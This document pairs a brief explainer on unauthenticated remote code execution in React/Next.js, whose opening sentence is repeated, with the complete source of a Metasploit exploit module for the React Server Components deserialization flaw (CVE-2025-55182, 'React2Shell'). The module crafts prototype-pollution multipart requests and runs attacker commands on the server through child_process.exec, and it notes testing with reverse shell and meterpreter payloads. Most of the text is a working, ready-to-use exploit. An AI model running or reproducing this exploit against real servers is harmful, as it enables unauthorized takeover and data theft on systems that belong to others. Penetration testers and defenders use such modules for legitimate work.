React/Next.js applications can suffer from Unauthenticated Remote Code Execution (RCE), React/Next.js applications can suffer from Unauthenticated Remote Code Execution (RCE), enabling attackers to run arbitrary code on the server without authentication. This critical flaw typically arises in server-side rendered (SSR) pages or API routes.
It stems from improper handling of user-controlled input. Attackers exploit issues like insecure deserialization, template injection, or dynamic code evaluation vulnerabilities (e.g., `eval()`, `new Function()`) when processing untrusted data.
If an application directly incorporates malicious user input into code execution contexts without adequate sanitization or validation, the injected payload executes commands with the server's privileges.
The impact is severe: full server compromise, data theft, and further network penetration. Mitigation requires rigorous input validation, avoiding dynamic code execution with untrusted data, using secure serialization, and keeping Next.js and dependencies updated.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in React and Next.js',
'Description' => %q{
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "__proto__", "constructor", or "prototype" as module names.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Lachlan Davidson', # Vulnerability Discovery
'maple3142' # Public Exploit
],
'References' => [
['CVE', '2025-55182'],
['CVE', '2025-66478'],
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '"'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
'Notes' => {
'AKA' => ['React2Shell'],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
]
)
end
def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
{
'then' => "$#{ref_idx}:then",
'status' => 'resolved_model',
'reason' => reason,
'value' => { 'then' => '$B' }.to_json,
'_response' => {
'_prefix' => node_payload,
'_formData' => {
'get' => "$#{ref_idx}:#{get_token}:constructor"
}
}
}.to_json
end
def get_random_value
random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
end
def build_post_data(node_payload)
random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
random_get_token = ['then', 'constructor'].sample
chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)
post_data = Rex::MIME::Message.new
post_data.add_part(chunk, nil, nil, 'form-data; name="0"')
cycle_length = rand(random_ref_idx..9)
(1..cycle_length).each do |i|
value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
end
post_data
end
def send_payload(node_payload)
post_data = build_post_data(node_payload)
send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'headers' => { 'Next-Action' => '' },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
end
def check
random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"
res = send_payload(node_payload)
return CheckCode::Unknown("#{peer} - No response from web service") unless res
headers_text = res.headers.to_s
return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")
CheckCode::Safe("The target #{target_uri} is not vulnerable")
end
def exploit
node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
send_payload(node_payload)
end
end